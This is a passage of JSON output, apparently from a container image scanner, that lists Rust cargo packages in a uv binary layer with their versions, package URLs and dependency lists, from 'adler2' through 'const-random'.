"uv-warnings@0.0.58", "uv-workspace@0.0.58", "walkdir@2.5.0", "which@8.0.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "adler2@2.0.1", "Name": "adler2", "Identifier": { "PURL": "pkg:cargo/adler2@2.0.1", "UID": "9c533833fe991dac" }, "Version": "2.0.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "aes@0.8.4", "Name": "aes", "Identifier": { "PURL": "pkg:cargo/aes@0.8.4", "UID": "8ef5f1a213d913f5" }, "Version": "0.8.4", "DependsOn": [ "cfg-if@1.0.4", "cipher@0.4.4", "cpufeatures@0.2.17" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "aho-corasick@1.1.4", "Name": "aho-corasick", "Identifier": { "PURL": "pkg:cargo/aho-corasick@1.1.4", "UID": "af729c0adc6c80d5" }, "Version": "1.1.4", "DependsOn": [ "memchr@2.8.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "allocator-api2@0.2.21", "Name": "allocator-api2", "Identifier": { "PURL": "pkg:cargo/allocator-api2@0.2.21", "UID": "2182677b6e60c0d0" }, "Version": "0.2.21", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "ambient-id@0.0.11", "Name": "ambient-id", "Identifier": { "PURL": "pkg:cargo/ambient-id@0.0.11", "UID": "91f938099fa09472" }, "Version": "0.0.11", "DependsOn": [ "astral-reqwest-middleware@0.5.1", "reqwest@0.13.4", "secrecy@0.10.3", "serde@1.0.228", "serde_json@1.0.150", "thiserror@2.0.18" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "anstream@1.0.0", "Name": "anstream", "Identifier": { "PURL": "pkg:cargo/anstream@1.0.0", "UID": "39fa61d4fae0e4bd" }, "Version": "1.0.0", "DependsOn": [ "anstyle@1.0.14", "anstyle-parse@1.0.0", "anstyle-query@1.1.5", "colorchoice@1.0.5", "is_terminal_polyfill@1.70.2", "utf8parse@0.2.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "anstyle@1.0.14", "Name": "anstyle", "Identifier": { "PURL": "pkg:cargo/anstyle@1.0.14", "UID": "8a9dbb356ab66ac4" }, "Version": "1.0.14", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "anstyle-parse@1.0.0", "Name": "anstyle-parse", "Identifier": { "PURL": "pkg:cargo/anstyle-parse@1.0.0", "UID": "43d2f579b67a2063" }, "Version": "1.0.0", "DependsOn": [ "utf8parse@0.2.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "anstyle-query@1.1.5", "Name": "anstyle-query", "Identifier": { "PURL": "pkg:cargo/anstyle-query@1.1.5", "UID": "8c2c4a2b1f241a23" }, "Version": "1.1.5", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "anyhow@1.0.102", "Name": "anyhow", "Identifier": { "PURL": "pkg:cargo/anyhow@1.0.102", "UID": "af34edd451e19b4b" }, "Version": "1.0.102", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "arcstr@1.2.0", "Name": "arcstr", "Identifier": { "PURL": "pkg:cargo/arcstr@1.2.0", "UID": "f482264519b8e0f0" }, "Version": "1.2.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "asn1-rs@0.7.1", "Name": "asn1-rs", "Identifier": { "PURL": "pkg:cargo/asn1-rs@0.7.1", "UID": "f690df24c76dd184" }, "Version": "0.7.1", "DependsOn": [ "asn1-rs-impl@0.2.0", "displaydoc@0.2.5", "nom@7.1.3", "num-traits@0.2.19", "rusticata-macros@4.1.0", "thiserror@2.0.18", "time@0.3.47" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "asn1-rs-impl@0.2.0", "Name": "asn1-rs-impl", "Identifier": { "PURL": "pkg:cargo/asn1-rs-impl@0.2.0", "UID": "e435d4d7d9940fa2" }, "Version": "0.2.0", "DependsOn": [ "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "assert-json-diff@2.0.2", "Name": "assert-json-diff", "Identifier": { "PURL": "pkg:cargo/assert-json-diff@2.0.2", "UID": "9f9d92e1e04cfb5f" }, "Version": "2.0.2", "DependsOn": [ "serde@1.0.228", "serde_json@1.0.150" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "assert_cmd@2.2.2", "Name": "assert_cmd", "Identifier": { "PURL": "pkg:cargo/assert_cmd@2.2.2", "UID": "547bf962eff2d1a6" }, "Version": "2.2.2", "DependsOn": [ "anstyle@1.0.14", "bstr@1.12.1", "predicates@3.1.4", "predicates-core@1.0.10", "predicates-tree@1.0.13", "wait-timeout@0.2.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "assert_fs@1.1.4", "Name": "assert_fs", "Identifier": { "PURL": "pkg:cargo/assert_fs@1.1.4", "UID": "f4780d0530a072b4" }, "Version": "1.1.4", "DependsOn": [ "anstyle@1.0.14", "globwalk@0.9.1", "predicates@3.1.4", "predicates-core@1.0.10", "predicates-tree@1.0.13", "tempfile@3.27.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "astral-pubgrub@0.3.3", "Name": "astral-pubgrub", "Identifier": { "PURL": "pkg:cargo/astral-pubgrub@0.3.3", "UID": "4ef9870663bc21a3" }, "Version": "0.3.3", "DependsOn": [ "astral-version-ranges@0.1.4", "indexmap@2.14.0", "log@0.4.29", "priority-queue@2.7.0", "rustc-hash@2.1.2", "thiserror@2.0.18" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "astral-reqwest-middleware@0.5.1", "Name": "astral-reqwest-middleware", "Identifier": { "PURL": "pkg:cargo/astral-reqwest-middleware@0.5.1", "UID": "a498d8e77433c926" }, "Version": "0.5.1", "DependsOn": [ "anyhow@1.0.102", "async-trait@0.1.89", "http@1.4.1", "reqwest@0.13.4", "serde@1.0.228", "thiserror@2.0.18", "tower-service@0.3.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "astral-reqwest-retry@0.9.1", "Name": "astral-reqwest-retry", "Identifier": { "PURL": "pkg:cargo/astral-reqwest-retry@0.9.1", "UID": "6e2912fb03b72f58" }, "Version": "0.9.1", "DependsOn": [ "anyhow@1.0.102", "astral-reqwest-middleware@0.5.1", "async-trait@0.1.89", "futures@0.3.32", "http@1.4.1", "hyper@1.10.1", "reqwest@0.13.4", "retry-policies@0.5.1", "thiserror@2.0.18", "tokio@1.52.3", "tracing@0.1.44" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "astral-tl@0.7.11", "Name": "astral-tl", "Identifier": { "PURL": "pkg:cargo/astral-tl@0.7.11", "UID": "14b46915368df08a" }, "Version": "0.7.11", "DependsOn": [ "memchr@2.8.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "astral-tokio-tar@0.6.3", "Name": "astral-tokio-tar", "Identifier": { "PURL": "pkg:cargo/astral-tokio-tar@0.6.3", "UID": "a0710cafe8a637c0" }, "Version": "0.6.3", "DependsOn": [ "futures-core@0.3.32", "libc@0.2.186", "portable-atomic@1.13.1", "rustc-hash@2.1.2", "rustix@0.38.44", "tokio@1.52.3", "tokio-stream@0.1.18", "xattr@1.6.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "astral-version-ranges@0.1.4", "Name": "astral-version-ranges", "Identifier": { "PURL": "pkg:cargo/astral-version-ranges@0.1.4", "UID": "799e4b30e11528e3" }, "Version": "0.1.4", "DependsOn": [ "smallvec@1.15.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "astral_async_http_range_reader@0.11.0", "Name": "astral_async_http_range_reader", "Identifier": { "PURL": "pkg:cargo/astral_async_http_range_reader@0.11.0", "UID": "ffbd6e046fe8936f" }, "Version": "0.11.0", "DependsOn": [ "astral-reqwest-middleware@0.5.1", "futures@0.3.32", "http-content-range@0.2.4", "itertools@0.14.0", "memmap2@0.9.10", "reqwest@0.13.4", "thiserror@2.0.18", "tokio@1.52.3", "tokio-stream@0.1.18", "tokio-util@0.7.18", "tracing@0.1.44" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "astral_async_zip@0.0.18", "Name": "astral_async_zip", "Identifier": { "PURL": "pkg:cargo/astral_async_zip@0.0.18", "UID": "c03f160454ad0ead" }, "Version": "0.0.18", "DependsOn": [ "async-compression@0.4.19", "crc32fast@1.5.0", "futures-lite@2.6.1", "pin-project@1.1.11", "thiserror@2.0.18", "tokio@1.52.3", "tokio-util@0.7.18" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "async-broadcast@0.7.2", "Name": "async-broadcast", "Identifier": { "PURL": "pkg:cargo/async-broadcast@0.7.2", "UID": "13c2f6f6d40985b" }, "Version": "0.7.2", "DependsOn": [ "event-listener@5.4.1", "event-listener-strategy@0.5.4", "futures-core@0.3.32", "pin-project-lite@0.2.17" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "async-channel@2.5.0", "Name": "async-channel", "Identifier": { "PURL": "pkg:cargo/async-channel@2.5.0", "UID": "b7aafd489902a33d" }, "Version": "2.5.0", "DependsOn": [ "concurrent-queue@2.5.0", "event-listener-strategy@0.5.4", "futures-core@0.3.32", "pin-project-lite@0.2.17" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "async-compression@0.4.19", "Name": "async-compression", "Identifier": { "PURL": "pkg:cargo/async-compression@0.4.19", "UID": "a63e0488e9624874" }, "Version": "0.4.19", "DependsOn": [ "bzip2@0.5.2", "flate2@1.1.9", "futures-core@0.3.32", "futures-io@0.3.32", "memchr@2.8.2", "pin-project-lite@0.2.17", "tokio@1.52.3", "xz2@0.1.7", "zstd@0.13.3", "zstd-safe@7.2.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "async-recursion@1.1.1", "Name": "async-recursion", "Identifier": { "PURL": "pkg:cargo/async-recursion@1.1.1", "UID": "4fa046681b6e7f53" }, "Version": "1.1.1", "DependsOn": [ "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "async-trait@0.1.89", "Name": "async-trait", "Identifier": { "PURL": "pkg:cargo/async-trait@0.1.89", "UID": "b799cdc54a88ac94" }, "Version": "0.1.89", "DependsOn": [ "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "atomic-waker@1.1.2", "Name": "atomic-waker", "Identifier": { "PURL": "pkg:cargo/atomic-waker@1.1.2", "UID": "806ec00228293f75" }, "Version": "1.1.2", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "aws-lc-rs@1.16.2", "Name": "aws-lc-rs", "Identifier": { "PURL": "pkg:cargo/aws-lc-rs@1.16.2", "UID": "e4829678ae709362" }, "Version": "1.16.2", "DependsOn": [ "aws-lc-sys@0.39.0", "untrusted@0.7.1", "zeroize@1.9.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "aws-lc-sys@0.39.0", "Name": "aws-lc-sys", "Identifier": { "PURL": "pkg:cargo/aws-lc-sys@0.39.0", "UID": "c7b026703a5bb00" }, "Version": "0.39.0", "DependsOn": [ "dunce@1.0.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "axoasset@2.0.1", "Name": "axoasset", "Identifier": { "PURL": "pkg:cargo/axoasset@2.0.1", "UID": "5131dedc32a8ba1b" }, "Version": "2.0.1", "DependsOn": [ "camino@1.2.2", "image@0.25.10", "lazy_static@1.5.0", "miette@7.6.0", "mime@0.3.17", "reqwest@0.13.4", "serde@1.0.228", "serde_json@1.0.150", "thiserror@2.0.18", "url@2.5.8", "walkdir@2.5.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "axoprocess@0.2.1", "Name": "axoprocess", "Identifier": { "PURL": "pkg:cargo/axoprocess@0.2.1", "UID": "66259f359debb369" }, "Version": "0.2.1", "DependsOn": [ "miette@7.6.0", "thiserror@2.0.18", "tracing@0.1.44" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "axotag@0.3.0", "Name": "axotag", "Identifier": { "PURL": "pkg:cargo/axotag@0.3.0", "UID": "4368022aa8911adf" }, "Version": "0.3.0", "DependsOn": [ "miette@7.6.0", "semver@1.0.27", "thiserror@2.0.18" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "axoupdater@0.10.0", "Name": "axoupdater", "Identifier": { "PURL": "pkg:cargo/axoupdater@0.10.0", "UID": "9d12e4ed2e8369fc" }, "Version": "0.10.0", "DependsOn": [ "axoasset@2.0.1", "axoprocess@0.2.1", "axotag@0.3.0", "camino@1.2.2", "homedir@0.3.6", "miette@7.6.0", "serde@1.0.228", "tempfile@3.27.0", "thiserror@2.0.18", "tokio@1.52.3", "url@2.5.8" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "base64@0.22.1", "Name": "base64", "Identifier": { "PURL": "pkg:cargo/base64@0.22.1", "UID": "4ede071fec25f9d2" }, "Version": "0.22.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "base64ct@1.8.3", "Name": "base64ct", "Identifier": { "PURL": "pkg:cargo/base64ct@1.8.3", "UID": "9e9ed34dacf6a5cd" }, "Version": "1.8.3", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "bitflags@2.13.0", "Name": "bitflags", "Identifier": { "PURL": "pkg:cargo/bitflags@2.13.0", "UID": "51cca0e1e6dc536e" }, "Version": "2.13.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "blake2@0.10.6", "Name": "blake2", "Identifier": { "PURL": "pkg:cargo/blake2@0.10.6", "UID": "ea91956859948aa1" }, "Version": "0.10.6", "DependsOn": [ "digest@0.10.7" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "block-buffer@0.10.4", "Name": "block-buffer", "Identifier": { "PURL": "pkg:cargo/block-buffer@0.10.4", "UID": "c88e1ccf7ba716d4" }, "Version": "0.10.4", "DependsOn": [ "generic-array@0.14.7" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "block-padding@0.3.3", "Name": "block-padding", "Identifier": { "PURL": "pkg:cargo/block-padding@0.3.3", "UID": "d9818e1fb3231ace" }, "Version": "0.3.3", "DependsOn": [ "generic-array@0.14.7" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "borrow-or-share@0.2.4", "Name": "borrow-or-share", "Identifier": { "PURL": "pkg:cargo/borrow-or-share@0.2.4", "UID": "bcf508cc35a8b898" }, "Version": "0.2.4", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "boxcar@0.2.14", "Name": "boxcar", "Identifier": { "PURL": "pkg:cargo/boxcar@0.2.14", "UID": "cb255b4653f399e2" }, "Version": "0.2.14", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "bstr@1.12.1", "Name": "bstr", "Identifier": { "PURL": "pkg:cargo/bstr@1.12.1", "UID": "8cb89c9cf9e4db53" }, "Version": "1.12.1", "DependsOn": [ "memchr@2.8.2", "regex-automata@0.4.14", "serde@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "bytecheck@0.8.2", "Name": "bytecheck", "Identifier": { "PURL": "pkg:cargo/bytecheck@0.8.2", "UID": "f36fced85ea1bbf3" }, "Version": "0.8.2", "DependsOn": [ "ptr_meta@0.3.1", "rancor@0.1.1", "simdutf8@0.1.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "bytemuck@1.25.0", "Name": "bytemuck", "Identifier": { "PURL": "pkg:cargo/bytemuck@1.25.0", "UID": "5b1f9dced0cedd5b" }, "Version": "1.25.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "byteorder-lite@0.1.0", "Name": "byteorder-lite", "Identifier": { "PURL": "pkg:cargo/byteorder-lite@0.1.0", "UID": "39794c29626cb4b" }, "Version": "0.1.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "bytes@1.11.1", "Name": "bytes", "Identifier": { "PURL": "pkg:cargo/bytes@1.11.1", "UID": "d593d2e585f85d9b" }, "Version": "1.11.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "bzip2@0.5.2", "Name": "bzip2", "Identifier": { "PURL": "pkg:cargo/bzip2@0.5.2", "UID": "934dea5b83bcdad6" }, "Version": "0.5.2", "DependsOn": [ "bzip2-sys@0.1.13+1.0.8" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "bzip2-sys@0.1.13+1.0.8", "Name": "bzip2-sys", "Identifier": { "PURL": "pkg:cargo/bzip2-sys@0.1.13%2B1.0.8", "UID": "24e624d7e9235480" }, "Version": "0.1.13+1.0.8", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "camino@1.2.2", "Name": "camino", "Identifier": { "PURL": "pkg:cargo/camino@1.2.2", "UID": "5947b2683315685f" }, "Version": "1.2.2", "DependsOn": [ "serde_core@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "cargo-util@0.2.28", "Name": "cargo-util", "Identifier": { "PURL": "pkg:cargo/cargo-util@0.2.28", "UID": "881251a8d96aa21" }, "Version": "0.2.28", "DependsOn": [ "anyhow@1.0.102", "filetime@0.2.29", "hex@0.4.3", "ignore@0.4.26", "jobserver@0.1.34", "libc@0.2.186", "same-file@1.0.6", "sha2@0.10.9", "shell-escape@0.1.5", "tempfile@3.27.0", "tracing@0.1.44", "walkdir@2.5.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "cbc@0.1.2", "Name": "cbc", "Identifier": { "PURL": "pkg:cargo/cbc@0.1.2", "UID": "ec1695c51398d43b" }, "Version": "0.1.2", "DependsOn": [ "cipher@0.4.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "cfg-if@1.0.4", "Name": "cfg-if", "Identifier": { "PURL": "pkg:cargo/cfg-if@1.0.4", "UID": "8383a4cbb22ef699" }, "Version": "1.0.4", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "charset@0.1.5", "Name": "charset", "Identifier": { "PURL": "pkg:cargo/charset@0.1.5", "UID": "b73675f5ddddf36f" }, "Version": "0.1.5", "DependsOn": [ "base64@0.22.1", "encoding_rs@0.8.35" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "cipher@0.4.4", "Name": "cipher", "Identifier": { "PURL": "pkg:cargo/cipher@0.4.4", "UID": "625989ca1fb0276d" }, "Version": "0.4.4", "DependsOn": [ "crypto-common@0.1.7", "inout@0.1.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "clap@4.6.1", "Name": "clap", "Identifier": { "PURL": "pkg:cargo/clap@4.6.1", "UID": "8204d2acb5c1c7be" }, "Version": "4.6.1", "DependsOn": [ "clap_builder@4.6.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "clap_builder@4.6.0", "Name": "clap_builder", "Identifier": { "PURL": "pkg:cargo/clap_builder@4.6.0", "UID": "daf1ddf56aa83f68" }, "Version": "4.6.0", "DependsOn": [ "anstream@1.0.0", "anstyle@1.0.14", "clap_lex@1.1.0", "strsim@0.11.1", "terminal_size@0.4.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "clap_complete@4.6.0", "Name": "clap_complete", "Identifier": { "PURL": "pkg:cargo/clap_complete@4.6.0", "UID": "aa0111e87476164" }, "Version": "4.6.0", "DependsOn": [ "clap@4.6.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "clap_complete_command@0.6.1", "Name": "clap_complete_command", "Identifier": { "PURL": "pkg:cargo/clap_complete_command@0.6.1", "UID": "b35bfd3ac4b4541f" }, "Version": "0.6.1", "DependsOn": [ "clap@4.6.1", "clap_complete@4.6.0", "clap_complete_nushell@4.6.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "clap_complete_nushell@4.6.0", "Name": "clap_complete_nushell", "Identifier": { "PURL": "pkg:cargo/clap_complete_nushell@4.6.0", "UID": "c35347e6c6f6f988" }, "Version": "4.6.0", "DependsOn": [ "clap@4.6.1", "clap_complete@4.6.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "clap_lex@1.1.0", "Name": "clap_lex", "Identifier": { "PURL": "pkg:cargo/clap_lex@1.1.0", "UID": "c22253212afa8b74" }, "Version": "1.1.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "colorchoice@1.0.5", "Name": "colorchoice", "Identifier": { "PURL": "pkg:cargo/colorchoice@1.0.5", "UID": "aa1f3919b0798d1f" }, "Version": "1.0.5", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "concurrent-queue@2.5.0", "Name": "concurrent-queue", "Identifier": { "PURL": "pkg:cargo/concurrent-queue@2.5.0", "UID": "aa89b2471766548f" }, "Version": "2.5.0", "DependsOn": [ "crossbeam-utils@0.8.21" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "configparser@3.2.0", "Name": "configparser", "Identifier": { "PURL": "pkg:cargo/configparser@3.2.0", "UID": "9ea822e5790c1d32" }, "Version": "3.2.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "console@0.16.3", "Name": "console", "Identifier": { "PURL": "pkg:cargo/console@0.16.3", "UID": "5e4ae692c62e2dca" }, "Version": "0.16.3", "DependsOn": [ "libc@0.2.186", "unicode-width@0.2.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "const-oid@0.9.6", "Name": "const-oid", "Identifier": { "PURL": "pkg:cargo/const-oid@0.9.6", "UID": "d4fec7948cc4a911" }, "Version": "0.9.6", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "const-random@0.1.18", "Name": "const-random", "Identifier": { "PURL": "pkg:cargo/const-random@0.1.18", "UID": "e9ab5f9c33b2ed2" }, "Version": "0.1.18", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, 